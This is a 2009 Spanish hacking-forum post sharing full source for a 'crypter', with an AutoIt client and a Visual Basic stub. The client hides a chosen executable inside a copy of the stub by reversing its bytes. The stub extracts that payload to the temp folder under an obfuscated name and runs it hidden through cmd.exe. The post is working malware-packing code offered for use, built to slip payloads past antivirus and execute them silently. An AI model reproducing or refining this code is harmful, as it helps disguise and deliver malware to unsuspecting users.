[SRC] Crypter en VB(Stub) & Autoit(cliente) by m3m0_11
Publicado: 05 Sep 2009, 16:43
Comparto el source con vosotros
Cliente en Autoit:
STUB en VB:
salu2
Cliente en Autoit:
Código: Seleccionar todo
#include <file.au3>
#include<string.au3>
dim $q,$ruta,$file,$tam,$leido,$stub,$tamstub,$leidostub, $NUEVO
$q = @ScriptFullPath
$ruta = inputbox("Elija un archivo a encryptar!","Elija un archivo a encryptar!")
if $ruta <> "" Then
$tam = fileread($ruta)
$stub = @scriptdir & "\STUB.exe"
filecopy ($stub, @scriptdir & "\full.exe",1)
sleep (1000)
$NUEVO = fileopen(@scriptdir & "\full.exe",17)
$leido = "LOL" & _stringreverse($tam) & "LOL" & "JUAS" & "LOL"
filewrite($NUEVO,$leido)
FileClose($NUEVO)
Else
MsgBox (0,"Elija un archivo!","Debe elegir un archivo!")
exit
EndIf
msgbox (0, "Archivo encryptado correctamente!","Archivo encryptado correctamente!")
msgbox (0, "Gracias por utilizar Crypter en VB y autoit by m3m0_11", "Gracias por utilizar Crypter en VB y autoit by m3m0_11")
exit
Código: Seleccionar todo
Private Sub Main()
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
Dim X852 As String, askjlt4hga5y4df5jh4ts() As String
X852 = Space(LOF(1))
Get #1, , X852
Close #1
askjlt4hga5y4df5jh4ts() = Split(X852, StrReverse("LOL"))
Open Environ(StrReverse("pmt")) & "\juasp.exe" For Binary As #1
Put #1, , StrReverse(askjlt4hga5y4df5jh4ts(1))
Close #1
Shell "cmd.exe /c start " & Environ(StrReverse("pmt")) & "\juasp.exe", vbHide
End
End Sub